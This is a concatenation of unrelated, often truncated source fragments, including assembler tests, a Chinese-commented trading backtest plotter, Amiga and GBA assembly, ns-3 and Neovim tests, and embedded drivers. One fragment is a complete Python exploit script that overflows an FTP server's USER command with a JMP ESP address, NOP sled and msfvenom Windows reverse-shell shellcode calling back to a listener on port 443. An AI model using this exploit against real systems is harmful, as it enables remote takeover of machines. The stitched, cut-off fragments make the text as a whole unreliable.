  __ fmin(d20, d20, d18);
  __ fmin(s7, s13, s16);
  __ fminnm(d19, d14, d30);
  __ fminnm(s0, s1, s1);
  __ fmov(d13, d6);
  __ fmov(d2, x17);
  __ fmov(d8, -2.5000);
  __ fmov(s5, s3);
  __ fmov(s25, w20);
  __ fmov(s21, 2.8750f);
  __ fmov(w18, s24);
  __ fmov(x18, d2);
  __ fmsub(d20, d30, d3, d19);
  __ fmsub(s5, s19, s4, s12);
  __ fmul(d30, d27, d23);
  __ fmul(s25, s17, s15);
  __ fmulx(d4, d17, d1);
  __ fmulx(s14, s25, s4);
  __ fneg(d15, d0);
  __ fneg(s14, s15);
  __ fnmadd(d0, d16, d22, d31);
  __ fnmadd(s0, s18, s26, s18);
  __ fnmsub(d19, d12, d15, d21);
  __ fnmsub(s29, s0, s11, s26);
  __ fnmul(d31, d19, d1);
  __ fnmul(s18, s3, s17);
  __ frecpe(d7, d21);
  __ frecpe(s29, s17);
  __ frecps(d11, d26, d17);
  __ frecps(s18, s27, s1);
  __ frecpx(d15, d18);
  __ frecpx(s5, s10);
  __ frinta


      ax3.set_title('策略最大回撤对比')
        ax3.grid(True, alpha=0.3)

        # 子图4: 胜率对比
        ax4 = axes[1, 1]
        win_rates = [results['summary']['win_rate'] for results in strategy_results.values()]
        ax4.bar(strategy_names, win_rates, alpha=0.7, color='green')
        ax4.set_ylabel('胜率')
        ax4.set_title('策略胜率对比')
        ax4.grid(True, alpha=0.3)

        plt.tight_layout()

        if save_plot:
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"{self.output_dir}/strategy_comparison_{timestamp}.png"
            plt.savefig(filename, dpi=300, bbox_inches='tight')
            print(f"✓ 策略对比图已保存到: {filename}")
            plt.show()
            return filename
        else:
            plt.show()
            return None

    def create_interactive_plot(self, results: Dict[str, Any], save_html: bool = True) -> Optional[str]:
        """创建交互式图表"""
        if not os.path.exists(self.output_dir):
            os.makedirs(self.output_dir)

        individual_results = results.get('individual_results', [])
        if not individual_results:
            print("❌ 没有回测结果可绘制")
            return None

        # 创建子图
        fig = make_subplots(
            rows=2, cols=2,
            subplot_titles=('PNL曲线', '价格路径', '最终PNL分布', '风险指标'),
            specs=[[{"secondary_y": False}, {"secondary_y": False}],
                   [{"secondary_y": False}, {"secondary_y": False}]]
        )

        # 子图1: PNL曲线
        for i, result in enumerate(individual_results[:5]):  # 显示5条路径
            fig.add_trace(
                go.Scatter(x=result['times'], y=result['pnl'],
                          mode='lines', name=f'路径 {i+1}',
                          opacity=0.7),
                row=1, col=1
            )

        # 子图2: 价格路径
        for i, result in enumerate(individual_results[:5]):
            fig.add_trace(
                go.Scatter(x=result['times'], y=result['prices'],
                          mode='lines', name=f'价格 {i+1}',
                          opacity=0.7),
                row=1, col=2
            )

        # 子图3: 最终PNL分布
        final_pnls = [result['final_pnl'] for result in individual_results]
        fig.add_trace(
            go.Histogram(x=final_pnls, name='PNL分布', opacity=0.7),
            row=2, col=1
        )

        # 子图4: 风险指标雷达图
        avg_pnl = np.mean(final_pnls)
        avg_sharpe = np.mean([result['sharpe_ratio'] for result in individual_results])
        avg_drawdown = np.mean([result['max_drawdown'] for result in individual_results])
        win_rate = np.mean([pnl > 0 for pnl in final_pnls])

        fig.add_trace(
            go.Scatter(x=['PNL', '夏普比率', '最大回撤', '胜率'],
                      y=[avg_pnl, avg_sharpe, abs(avg_drawdown), win_rate],
                      mode='markers+lines', name='风险指标',
                      marker=dict(size=10)),
            row=2, col=2
        )

        # 更新布局
        fig.update_layout(
            title_text="Deep BSDE 套利策略回测结果",
            showlegend=True,
            height=800
        )

        if save_html:
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"{self.output_dir}/interactive_results_{timestamp}.html"
            fig.write_html(filename)
            print(f"✓ 交互式图表已保存到: {filename}")
            return filename
        else:
            fig.show()
            return None

class PlotGenerator:
    """图表生成器"""

    def __init__(self, output_dir: str = "output"):
        self.output_dir = output_dir
        self.visualizer = ResultVisualizer(output_dir)

    def generate_all_plots(self, results: Dict[str, Any]) -> Dict[str, str]:
        """生成所有图表"""
        generated_files = {}

        # PNL分析图
        pnl_file = self.visualizer.plot_pnl_curves(results, save_plot=True)
        if pnl_file:
            generated_files['pnl_analysis'] = pnl_file

        # 价格路径图
        price_file = self.visualizer.plot_price_paths(results, save_plot=True)
        if price_file:
            generated_files['price_paths'] = price_file

        # 风险指标图
        risk_file = self.visualizer.plot_risk_metrics(results, save_plot=True)
        if risk_file:
            generated_files['risk_metrics'] = risk_file

        # 交互式图表
        interactive_file = self.visualizer.create_interactive_plot(results, save_html=True)
        if interactiv


crunched data
	beq.s	.e2
	bsr	_SYSErase
	move.l	#0,.banknumber
.e2
	moveq	#0,d0
	pullns
	rts

.banknumber	dc.l	0	;must be syserased if not zero
.d0	dc.l	0		;user-data
.decr	dc.l	0		;ptr to decr data

AllEfxPseudoTimer	dc.l	0	;wird von jedem Effekt um dessen
				;Lnge erhht
_CallEfxOnce:
; in: a0 - effect definitions , a1 - CallEfxinfo of the calling process
;
;out: d1=0 (error) or d1=-1 (success)
;
;d0 is safe for your params

	pushns

	move.l	16(a0),d1	;Init done?
	beq	.error

	;--- extract infos from a1 and set the timers
	move.l	a1,a5	;_childVBIptr
	move.l	a1,a4
	add.l	#4,a4	;Lev3Timer
	move.l	a1,a2
	add.l	#8,a2	;ChildTimer

	move.l	a0,a3	;store effect definitions

	;--- Timer Vergleich und Anpassung
	move.l	4(a3),d4		;effects lenght
	add.l	d4,AllEfxPseudoTimer
	move.l	AllEfxPseudoTimer(pc),d4

	sub.l	Timer(pc),d4		;-> allowed time to run
	tst	d4
;aaargh
	ble.s	.dontrun		;negative or null time not allowed

	move.l	d4,(a2)			;allowed time -> ChildTimer

	move.l	(a4),d2			:-> effects delay in d2
	move.l	#0,(a4)			;-> reset Lev3Timer
					;(start counting for the client)

.run	;--- go
	move.l	8(a3),a2		;^relocated effect
	move.l	d4,d1			;total allowed time for the effect
	lea	_wosbase(pc),a0
	move.l	a5,a1			;_childVBIptr
					;(where to write the VBI back to)

	move.l	_mmstabptr(a0),-(a7)	; very important!
	push	d0-a6
	jsr	(a2)                    ; *** run relocated program
	pull	d0-a6
	move.l	(a7)+,_mmstabptr(a0)

	move.l	#0,(a4)			;-> reset Lev3Timer
				;(don't know why we need this, but we do!!!)

	move.l	d0,a2			;store returncode
	jsr	_CheckExit
	cmp	#2,d0			; User Exit requested?
	beq	.error	; directly quit. if you need to clenup something,
			; you have to install an Exit-routine!

	bsr	_ClearPlanes

	jsr	_ClearExit
	move.l	a2,d0

.dontrun
	pullns
	moveq	#-1,d1		;d0 is for params
	rts

.error	pullns
	moveq	#0,d1
	rts

_ExitEfx:
; in: a0 - effect definitions , a1 - CallEfxinfo of the calling process
;
;routine will update effect definitions
	push	a2-a3

	move.l	8(a0),a2	;^relocated code ?
	cmp.l	#0,a2


 times ADDBA state machine is in established state
  uint16_t m_addbaPendingCount;       ///< Count number of times ADDBA state machine is in pending state
  uint16_t m_addbaRejectedCount;      ///< Count number of times ADDBA state machine is in rejected state
  uint16_t m_addbaNoReplyCount;       ///< Count number of times ADDBA state machine is in no_reply state
  uint16_t m_addbaResetCount;         ///< Count number of times ADDBA state machine is in reset state
};

Bug2470TestCase::Bug2470TestCase ()
  : TestCase ("Test case for Bug 2470"),
    m_receivedNormalMpduCount (0),
    m_receivedAmpduCount (0),
    m_failedActionCount (0),
    m_addbaEstablishedCount (0),
    m_addbaPendingCount (0),
    m_addbaRejectedCount (0),
    m_addbaNoReplyCount (0),
    m_addbaResetCount (0)
{
}

Bug2470TestCase::~Bug2470TestCase ()
{
}

void
Bug2470TestCase::AddbaStateChangedCallback (std::string context, Time t, Mac48Address recipient, uint8_t tid, OriginatorBlockAckAgreement::State state)
{
  switch (state)
    {
    case OriginatorBlockAckAgreement::ESTABLISHED:
      m_addbaEstablishedCount++;
      break;
    case OriginatorBlockAckAgreement::PENDING:
      m_addbaPendingCount++;
      break;
    case OriginatorBlockAckAgreement::REJECTED:
      m_addbaRejectedCount++;
      break;
    case OriginatorBlockAckAgreement::NO_REPLY:
      m_addbaNoReplyCount++;
      break;
    case OriginatorBlockAckAgreement::RESET:
      m_addbaResetCount++;
      break;
    }
}

void
Bug2470TestCase::RxCallback (std::string context, Ptr<const Packet> p, uint16_t channelFreqMhz, WifiTxVector txVector, MpduInfo aMpdu, SignalNoiseDbm signalNoise, uint16_t staId)
{
  Ptr<Packet> packet = p->Copy ();
  if (aMpdu.type != MpduType::NORMAL_MPDU)
    {
      m_receivedAmpduCount++;
    }
  else
    {
      WifiMacHeader hdr;
      packet->RemoveHeader (hdr);
      if (hdr.IsData ())
        {
          m_receivedNormalMpduCount++;
        }
    }
}

void
Bug2470TestCase::RxErrorCallback (std::string context, Ptr<const Packet> p, double snr)
{
  Ptr<Packet> packet = p->Copy ();
  WifiMacHeader hdr;
  packet->RemoveHeader (hdr);
  if (hdr.IsAction ())
    {
      m_failedActionCount++;
    }
}

void
Bug2470TestCase::SendPacketBurst (uint32_t numPackets, Ptr<NetDevice> sourceDevice,
                                  Address& destination) const
{
  for (uint32_t i = 0; i < numPackets; i++)
    {
      Ptr<Packet> pkt = Create<Packet> (1000); // 1000 dummy bytes of data
      sourceDevice->Send (pkt, destination, 0);
    }
}

void
Bug2470TestCase::RunSubtest (PointerValue apErrorModel, PointerValue staErrorModel)
{
  RngSeedManager::SetSeed (1);
  RngSeedManager::SetRun (1);
  int64_t streamNumber = 200;

  NodeContainer wifiApNode, wifiStaNode;
  wifiApNode.Create (1);
  wifiStaNode.Create (1);

  YansWifiPhyHelper phy;
  YansWifiChannelHelper channel = YansWifiChannelHelper::Default ();
  phy.SetChannel (channel.Create ());

  WifiHelper wifi;
  wifi.SetStandard (WIFI_STANDARD_80211n_5GHZ);
  wifi.SetRemoteStationManager ("ns3::ConstantRateWifiManager",


 <= 64) {
                        ::core::panicking::panic("assertion failed: bit_width <= 64",
                                                 ::core::intrinsics::caller_location())
                    };
                };
                if true {
                    if !(bit_offset / 8 < self.storage.as_ref().len()) {
                        ::core::panicking::panic("assertion failed: bit_offset / 8 < self.storage.as_ref().len()",
                                                 ::core::intrinsics::caller_location())
                    };
                };
                if true {
                    if !((bit_offset + (bit_width as usize)) / 8 <=
                             self.storage.as_ref().len()) {
                        ::core::panicking::panic("assertion failed: (bit_offset + (bit_width as usize)) / 8 <= self.storage.as_ref().len()",
                                                 ::core::intrinsics::caller_location())
                    };
                };
                for i in 0..(bit_width as usize) {
                    let mask = 1 << i;
                    let val_bit_is_set = val & mask == mask;
                    let index =
                        if false { bit_width as usize - 1 - i } else { i };
                    self.set_bit(index + bit_offset, val_bit_is_set);
                }
            }
        }
        #[repr(C)]
        pub struct __BindgenUnionField<T>(::core::marker::PhantomData<T>);
        impl <T> __BindgenUnionField<T> {
            #[inline]
            pub fn new() -> Self {
                __BindgenUnionField(::core::marker::PhantomData)
            }
            #[inline]
            pub unsafe fn as_ref(&self) -> &T { ::core::mem::transmute(self) }
            #[inline]
            pub unsafe fn as_mut(&mut self) -> &mut T {
                ::core::mem::transmute(self)
            }
        }
        impl <T> ::core::default::Default for __BindgenUnionField<T> {
            #[inline]
            fn default() -> Self { Self::new() }
        }
        impl <T> ::core::clone::Clone for __BindgenUnionField<T> {
            #[inline]
            fn clone(&self) -> Self { Self::new() }
        }
        impl <T> ::core::marker::Copy for __BindgenUnionField<T> { }
        impl <T> ::core::fmt::Debug for __BindgenUnionField<T> {
            fn fmt(&self, fmt: &mut ::core::fmt::Formatter<'_>)
             -> ::core::fmt::Result {
                fmt.write_str("__BindgenUnionField")
            }
        }
        impl <T> ::core::hash::Hash for __BindgenUnionField<T> {
            fn hash<H: ::core::hash::Hasher>(&self, _state: &mut H) { }
        }
        impl <T> ::core::cmp::PartialEq for __BindgenUnionField<T> {
            fn eq(&self, _other: &__BindgenUnionField<T>) -> bool { true }
        }
        impl <T> ::core::cmp::Eq for __BindgenUnionField<T> { }
        pub const JSON_VALUE_TYPE_BOOL: u32 = 0;
        pub const JSON_VALUE_TYPE_UINT64: u32 = 1;
        pub const JSON_VALUE_TYPE_INT64: u32 = 2;
        pub const JSON_VALUE_TYPE_STRING: u32 = 3;
        pub const JSON_VALUE_TYPE_ARRAY: u32 = 4;
        pub const JSON_VALUE_TYPE_OBJECT: u32 = 5;
        pub const JSON_ATTR_MAX: u32 = 31;
        pub const JSON_VAL_MAX: u32 = 512;
        pub const JSON_ERR_OBST


sub_80A10B0
	adds r0, r4, #0
	bl sub_80A1110
	adds r0, r4, #0
	bl sub_80A11B8
	adds r0, r4, #0
	bl sub_80A1798
	cmp r0, #1
	bne _080A0396
	movs r5, #1
_080A0396:
	adds r0, r4, #0
	bl sub_80A17FC
	cmp r0, #1
	bne _080A03A6
	adds r0, r5, #1
	lsls r0, r0, #0x18
	lsrs r5, r0, #0x18
_080A03A6:
	adds r0, r4, #0
	bl sub_80A1668
	cmp r0, #1
	bne _080A03B6
	adds r0, r5, #1
	lsls r0, r0, #0x18
	lsrs r5, r0, #0x18
_080A03B6:
	adds r0, r4, #0
	bl sub_80A163C
	cmp r0, #1
	bne _080A03C6
	adds r0, r5, #1
	lsls r0, r0, #0x18
	lsrs r5, r0, #0x18
_080A03C6:
	ldr r0, [r4, #0x54]
	str r0, [r4, #0x5c]
	ldr r0, [r4, #0x4c]
	str r0, [r4, #0x64]
	cmp r5, #4
	bne _080A03EE
	adds r0, r4, #0
	bl sub_80A1908
	cmp r0, #1
	bne _080A03EE
	ldr r1, [r4, #0x18]
	movs r0, #0xe
	strb r0, [r1]
	ldr r0, [r4, #0x18]
	ldrb r0, [r0]
	strb r0, [r4, #3]
	ldr r1, [r6]
	ldr r0, _080A03F4 @ =sub_80A03F8
	str r0, [r1, #8]
_080A03EE:
	pop {r4, r5, r6}
	pop {r0}
	bx r0
	.align 2, 0
_080A03F4: .4byte sub_80A03F8

	thumb_func_start sub_80A03F8
sub_80A03F8: @ 0x080A03F8
	push {r4, r5, r6, lr}
	ldr r6, _080A0418 @ =gCurTask
	ldr r2, [r6]
	ldrh r1, [r2, #6]
	movs r0, #0xc0
	lsls r0, r0, #0x12
	adds r4, r1, r0
	movs r5, #0
	ldr r0, [r4, #0x18]
	ldrb r0, [r0]
	cmp r0, #0x22
	bne _080A0420
	ldr r0, _080A041C @ =sub_80A14AC
	str r0, [r2, #8]
	b _080A04C8
	.align 2, 0
_080A0418: .4byte gCurTask
_080A041C: .4byte sub_80A14AC
_080A0420:
	adds r0, r4, #0
	bl sub_80A19C0
	adds r0, r4, #0
	bl sub_80A1A04
	adds r0, r4, #0
	b


/*---------------------------------------------------------------------------------

	default ARM7 core

		Copyright (C) 2005 - 2010
		Michael Noland (joat)
		Jason Rogers (dovoto)
		Dave Murphy (WinterMute)

	This software is provided 'as-is', without any express or implied
	warranty.  In no event will the authors be held liable for any
	damages arising from the use of this software.

	Permission is granted to anyone to use this software for any
	purpose, including commercial applications, and to alter it and
	redistribute it freely, subject to the following restrictions:

	1.	The origin of this software must not be misrepresented; you
		must not claim that you wrote the original software. If you use
		this software in a product, an acknowledgment in the product
		documentation would be appreciated but is not required.

	2.	Altered source versions must be plainly marked as such, and
		must not be misrepresented as being the original software.

	3.	This notice may not be removed or altered from any source
		distribution.

---------------------------------------------------------------------------------*/
#include <nds.h>

//---------------------------------------------------------------------------------
void VblankHandler(void) {
//---------------------------------------------------------------------------------

}

//---------------------------------------------------------------------------------
void VcountHandler() {
//---------------------------------------------------------------------------------
	inputGetAndSend();
}

volatile bool exitflag = false;

//---------------------------------------------------------------------------------
void powerButtonCB() {
//---------------------------------------------------------------------------------
	exitflag = true;
}

//---------------------------------------------------------------------------------
int main() {
//---------------------------------------------------------------------------------
    nocashMessage("ARM7 main.c main");

	//REG_SCFG_ROM = 0x703;
	//REG_SCFG_CLK = 0x0187;
	// REG_SCFG_EXT = 0x93A40000;

	// SCFG_CLK
	// 0x0180 : NTR
	// 0x0181 : NTR+SD
	// 0x0187 : TWL
	// REG_SCFG_CLK = 0x0181;

	readUserSettings();
	//ledBlink(0);

	irqInit();
	// Start the RTC tracking IRQ
	initClockIRQ();

	fifoInit();

	SetYtrigger(80);

	installSystemFIFO();

	irqSet(IRQ_VCOUNT, VcountHandler);
	irqSet(IRQ_VBLANK, VblankHandler);

	irqEnable( IRQ_VBLANK | IRQ_VCOUNT );

	setPowerButtonCB(powerButtonCB);

	// Keep the ARM7 mostly idle
	while (!exitflag) {
		if ( 0 == (REG_KEYINPUT & (KEY_SELECT | KEY_START | KEY_L | KEY_R))) {
			exitflag = true;
		}
		// fifocheck();
		swiWaitForVBlank();
	}
	return 0;
}


 || o._line != BAD_INDEX) {
			_doc  = o._doc;
			_line = o._line;
		}

		if (o._comments) {
			_comments.reset(new ConfigComments(*o._comments));
		}

		#if CONFIGURU_VALUE_SEMANTICS
			o.mark_accessed(true);
		#endif

		return *this;
	}

	Config::~Config()
	{
		free();
	}

	void Config::free()
	{
		#if CONFIGURU_VALUE_SEMANTICS
			if (_type == BadLookupType) {
				delete _u.bad_lookup;
			} else if (_type == Object) {
				delete _u.object;
			} else if (_type == Array) {
				delete _u.array;
			} else if (_type == String) {
				delete _u.str;
			}
		#else // !CONFIGURU_VALUE_SEMANTICS:
			if (_type == BadLookupType) {
				if (--_u.bad_lookup->_ref_count == 0) {
					delete _u.bad_lookup;
				}
			} else if (_type == Object) {
				if (--_u.object->_ref_count == 0) {
					delete _u.object;
				}
			} else if (_type == Array) {
				if (--_u.array->_ref_count == 0) {
					delete _u.array;
				}
			} else if (_type == String) {
				delete _u.str;
			}
		#endif // !CONFIGURU_VALUE_SEMANTICS

		_type = Uninitialized;

		// Keep _doc, _line, _comments until overwritten/destructor.
	}

	// ------------------------------------------------------------------------

	size_t Config::object_size() const
	{
		return as_object()._impl.size();
	}

	const Config& Config::operator[](const std::string& key) const
	{
		auto&& object = as_object()._impl;
		auto it = object.find(key);
		if (it == object.end()) {
			on_error("Key '" + key + "' not in object");
		} else {
			const auto& entry = it->second;
			entry._accessed = true;
			return entry._value;
		}
	}

	Config& Config::operator[](const std::string& key)
	{
		auto&& object = as_object()._impl;
		auto&& entry = object[key];
		if (entry._nr == BAD_INDEX) {
			// New entry
			entry._nr = static_cast<Index>(object.size()) - 1;
			entry._value._type = BadLookupType;
			entry._value._u.bad_lookup = new BadLookupInfo{_doc, _line, key};
		} else {
			entry._accessed = true;
		}
		return entry._value;
	}

	bool Config::has_key(const std::string& key) const
	{
		return as_object()._impl.count(key) != 0;
	}

	bool Config::emplace(std::string key, Config value)
	{
		auto&& object = as_object()._impl;
		return object.emplace(
			std::move(key),
			Config::ObjectEntry{std::move(value), (unsigned)object.size()}).second;
	}

	void Config::insert_or_assign(const std::string& key, Config&& config)
	{
		auto&& object = as_object()._impl;
		auto&& entry = object[key];
		if (entry._nr == BAD_INDEX) {
			// New entry
			entry._nr = static_cast<Index>(object.size()) - 1;
		} else {
			entry._accessed = true;
		}
		entry._value = std::move(config);
	}

	bool Config::erase(const std::string& key)
	{
		auto& ob


erEnum.Tree_B_C_F_I -> Tree.B.C.F.I
        TreePostOrderEnum.Tree_B_C_D -> Tree.B.C.D
        TreePostOrderEnum.Tree_B_C_E -> Tree.B.C.E
        TreePostOrderEnum.Tree_B_C_J -> Tree.B.C.J
        TreePostOrderEnum.Tree_L_M_N -> Tree.L.M.N
        TreePostOrderEnum.Tree_L_M_O -> Tree.L.M.O
        TreePostOrderEnum.Tree_L_P_Q -> Tree.L.P.Q
        TreePostOrderEnum.Tree_L_P_R -> Tree.L.P.R
        TreePostOrderEnum.Tree_L_S -> Tree.L.S
        TreePostOrderEnum.Tree_A -> Tree.A
        TreePostOrderEnum.Tree_K -> Tree.K
        TreePostOrderEnum.Tree_T -> Tree.T
    }
}

/**
 * The index of [this] in the values list.
 */
public val Tree.postOrderOrdinal: Int
    get() = TreePostOrderSealedEnum.ordinalOf(this)

/**
 * The name of [this] for use with valueOf.
 */
public val Tree.postOrderName: String
    get() = TreePostOrderSealedEnum.nameOf(this)

/**
 * A list of all [Tree] objects.
 */
public val Tree.Companion.postOrderValues: List<Tree>
    get() = TreePostOrderSealedEnum.values

/**
 * Returns an implementation of [SealedEnum] for the sealed class [Tree]
 */
public val Tree.Companion.postOrderSealedEnum: TreePostOrderSealedEnum
    get() = TreePostOrderSealedEnum

/**
 * Returns the [Tree] object for the given [name].
 *
 * If the given name doesn't correspond to any [Tree], an [IllegalArgumentException] will be thrown.
 */
public fun Tree.Companion.postOrderValueOf(name: String): Tree =
        TreePostOrderSealedEnum.valueOf(name)

/**
 * An isomorphic enum for the sealed class [Tree]
 */
public enum class TreeInOrderEnum() {
    Tree_A,
    Tree_B_C_D,
    Tree_B_C_E,
    Tree_B_C_F_G,
    Tree_B_C_F_H,
    Tree_B_C_F_I,
    Tree_B_C_J,
    Tree_K,
    Tree_L_M_N,
    Tree_L_M_O,
    Tree_L_P_Q,
    Tree_L_P_R,
    Tree_L_S,
    Tree_T,
}

/**
 * The isomorphic [TreeInOrderEnum] for [this].
 */
public val Tree.inOrderEnum: TreeInOrderEnum
    get() = TreeInOrderSealedEnum.sealedObjectToEnum(this)

/**
 * The isomorphic [Tree] for [this].
 */
public val TreeInOrderEnum.sealedObject: Tree
    get() = TreeInOrderSealedEnum.enumToSealedObject(this)

/**
 * An implementation of [SealedEnum] for the sealed class [Tree]
 */
public object TreeInOrderSealedEnum : SealedEnum<Tree>,
        SealedEnumWithEnumProvider<Tree, TreeInOrderEnum>,
        EnumForSealedEnumProvider<Tree, TreeInOrderEnum> {
    public override val values: List<Tree> by lazy(mode = LazyThreadSafetyMode.PUBLICATION) {
        listOf(
            Tree.A,
            Tree.B.C.D,
            Tree.B.C.E,
            Tree.B


#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 774699DB   FFE4             JMP ESP

# bad characters \x00\x0a\x0d

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.123 LPORT=443 -f c EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows

shellcode=("\xda\xd9\xd9\x74\x24\xf4\x58\x2b\xc9\xbd\x3a\x84\xb7\xdf\xb1"
"\x52\x31\x68\x17\x83\xc0\x04\x03\x52\x97\x55\x2a\x5e\x7f\x1b"
"\xd5\x9e\x80\x7c\x5f\x7b\xb1\xbc\x3b\x08\xe2\x0c\x4f\x5c\x0f"
"\xe6\x1d\x74\x84\x8a\x89\x7b\x2d\x20\xec\xb2\xae\x19\xcc\xd5"
"\x2c\x60\x01\x35\x0c\xab\x54\x34\x49\xd6\x95\x64\x02\x9c\x08"
"\x98\x27\xe8\x90\x13\x7b\xfc\x90\xc0\xcc\xff\xb1\x57\x46\xa6"
"\x11\x56\x8b\xd2\x1b\x40\xc8\xdf\xd2\xfb\x3a\xab\xe4\x2d\x73"
"\x54\x4a\x10\xbb\xa7\x92\x55\x7c\x58\xe1\xaf\x7e\xe5\xf2\x74"
"\xfc\x31\x76\x6e\xa6\xb2\x20\x4a\x56\x16\xb6\x19\x54\xd3\xbc"
"\x45\x79\xe2\x11\xfe\x85\x6f\x94\xd0\x0f\x2b\xb3\xf4\x54\xef"
"\xda\xad\x30\x5e\xe2\xad\x9a\x3f\x46\xa6\x37\x2b\xfb\xe5\x5f"
"\x98\x36\x15\xa0\xb6\x41\x66\x92\x19\xfa\xe0\x9e\xd2\x24\xf7"
"\xe1\xc8\x91\x67\x1c\xf3\xe1\xae\xdb\xa7\xb1\xd8\xca\xc7\x59"
"\x18\xf2\x1d\xcd\x48\x5c\xce\xae\x38\x1c\xbe\x46\x52\x93\xe1"
"\x77\x5d\x79\x8a\x12\xa4\xea\x75\x4a\xa7\x93\x1d\x89\xa7\x62"
"\x65\x04\x41\x0e\x89\x41\xda\xa7\x30\xc8\x90\x56\xbc\xc6\xdd"
"\x59\x36\xe5\x22\x17\xbf\x80\x30\xc0\x4f\xdf\x6a\x47\x4f\xf5"
"\x02\x0b\xc2\x92\xd2\x42\xff\x0c\x85\x03\x31\x45\x43\xbe\x68"
"\xff\x71\x43\xec\x38\x31\x98\xcd\xc7\xb8\x6d\x69\xec\xaa\xab"
"\x72\xa8\x9e\x63\x25\x66\x48\xc2\x9f\xc8\x22\x9c\x4c\x83\xa2"
"\x59\xbf\x14\xb4\x65\xea\xe2\x58\xd7\x43\xb3\x67\xd8\x03\x33"
"\x10\x04\xb4\xbc\xcb\x8c\xd4\x5e\xd9\xf8\x7c\xc7\x88\x40\xe1"
"\xf8\x67\x86\x1c\x7b\x8d\x77\xdb\x63\xe4\x72\xa7\x23\x15\x0f"
"\xb8\xc1\x19\xbc\xb9\xc3")

buffer = "A" * 230 + "\xdb\x99\x46\x77" + "\x90" * 20 + shellcode + "C" * (800-230-351-16)

try:
	print "\nSending evil buffer..."
	s.connect(("192.168.1.131", 21))
	s.recv(1024)
	s.send('USER ' + buffer + '\r\n')
	data = s.recv(1024)
	print "\nDone!."
except:
	print "Could not connect to FTP!"


PC_13, HIGH);
    HAL_Delay(100);
#endif
    return 0;
}

int Camera::probeSensor()
{
    uint8_t addr;

    for (addr=1; addr<127; addr++) {
        CameraWire.beginTransmission(addr);
        if (CameraWire.endTransmission() == 0) {
            break;
        }
    }
    if (_debug) {
        _debug->print("Sensor address: 0x");
        _debug->println(addr, HEX);
    }
    return addr;
}

bool Camera::begin(int32_t resolution, int32_t pixformat, int32_t framerate)
{
    if (resolution >= CAMERA_RMAX || pixformat >= CAMERA_PMAX) {
        return false;
    }

    // Configure the initial sensor clock.
    camera_extclk_config(DCMI_TIM_FREQUENCY);
    HAL_Delay(10);

    // Reset the image sensor.
    reset();

    if (sensor->getClockFrequency() != DCMI_TIM_FREQUENCY) {
        // Reconfigure the sensor clock frequency.
        camera_extclk_config(sensor->getClockFrequency());
        HAL_Delay(10);
    }

    if (this->sensor->init() != 0) {
        return false;
    }

    if (probeSensor() != this->sensor->getID()) {
        if (_debug) {
            _debug->print("Detected SensorID: 0x");
            _debug->println(this->sensor->getID(), HEX);
        }
        return false;
    }

    if (camera_dcmi_config() != 0) {
        return false;
    }

    // NOTE: The pixel format must be set first before the resolution,
    // to lookup the BPP for this format to set the DCMI cropping.
    if (setPixelFormat(pixformat) != 0) {
        return false;
    }

    if (setResolution(resolution) != 0) {
        return false;
    }

    if (setFrameRate(framerate) != 0) {
        return false;
    }

    return true;
}

int Camera::getID()
{
    if (this->sensor == NULL) {
        return -1;
    }

    return this->sensor->getID();
}

int Camera::setFrameRate(int32_t framerate)
{
    if (this->sensor == NULL) {
        return -1;
    }

    if (this->sensor->setFrameRate(framerate) == 0) {
        this->framerate = framerate;
        return 0;
    }

    return -1;
}

int Camera::setResolution(int32_t resolution)
{
    if (this->sensor == NULL || resolution >= CAMERA_RMAX
            || pixformat >= CAMERA_PMAX || pixformat == -1) {
        return -1;
    }

    /*
     * @param  X0    DCMI window X offset
     * @param  Y0    DCMI window Y offset
     * @param  XSize DCMI Pixel per line
     * @param  YSize DCMI Line number
     */
    HAL_DCMI_EnableCROP(&hdcmi);
    uint32_t bpl = restab[resolution][0] * pixtab[pixformat];
    HAL_DCMI_ConfigCROP(&hdcmi, 0, 0, bpl - 1, restab[resolution][1] - 1);

    if (this->sensor->setResolution(resolution) == 0) {
        this->resolution = resolution;
        return 0;
    }
    return -1;
}

int Camera::setPixelFormat(int32_t pixformat)
{
    if (this->sensor == NULL || pixformat >= CAMERA_PMAX) {
        return -1;
    }

    if (this->sensor->setPixelFormat(pixformat) == 0) {
        this->pixformat = pixformat;
        return 0;
    }
    return -1;
}

int Camera::setStandby(bool enable)
{
    if (this->sensor == NULL) {
        retur


IDattr(hlID("Normal"),  "bg#")'))
    eq('#fa8072', eval('synIDattr(hlID("Keyword"), "fg#")'))
    eq('#800000', eval('synIDattr(hlID("Keyword"), "sp#")'))
  end)

  it('returns color number if non-RGB GUI', function()
    local _ = Screen.new(50, 7, { rgb = false })
    eq('252', eval('synIDattr(hlID("Normal"), "fg")'))
    eq('79', eval('synIDattr(hlID("Keyword"), "fg")'))
  end)

  it('returns "1" if group has given highlight attribute', function()
    local hl_attrs = {
      'underline',
      'undercurl',
      'underdouble',
      'underdotted',
      'underdashed',
      'strikethrough',
    }
    for _, hl_attr in ipairs(hl_attrs) do
      local context = 'using ' .. hl_attr .. ' attr'
      command('highlight Keyword cterm=' .. hl_attr .. ' gui=' .. hl_attr)
      eq('', eval('synIDattr(hlID("Normal"), "' .. hl_attr .. '")'), context)
      eq('1', eval('synIDattr(hlID("Keyword"), "' .. hl_attr .. '")'), context)
      eq('1', eval('synIDattr(hlID("Keyword"), "' .. hl_attr .. '", "gui")'), context)
    end
  end)
end)

describe('fg/bg special colors', function()
  before_each(function()
    clear()
    command('highlight Normal ctermfg=145 ctermbg=16 guifg=#ff0000 guibg=Black')
    command('highlight Visual ctermfg=bg ctermbg=fg guifg=bg guibg=fg guisp=bg')
  end)

  it('resolve to "Normal" values', function()
    eq(eval('synIDattr(hlID("Normal"), "bg")'), eval('synIDattr(hlID("Visual"), "fg")'))
    eq(eval('synIDattr(hlID("Normal"), "bg#")'), eval('synIDattr(hlID("Visual"), "fg#")'))
    eq(eval('synI


, 226, "Rockets Control Panel", "Rockets Counter Control")
P_47D:defineToggleSwitch("RKT_SALVO_SIZE_SEL", 22, 3007, 227, "Rockets Control Panel", "Rockets Salvo Size Selector")

--Port Wall
P_47D:defineToggleSwitch("RECOV_FLAP_SW_C", 2, 3036, 75, "Port Wall", "Recovery Flaps Switch Cover")
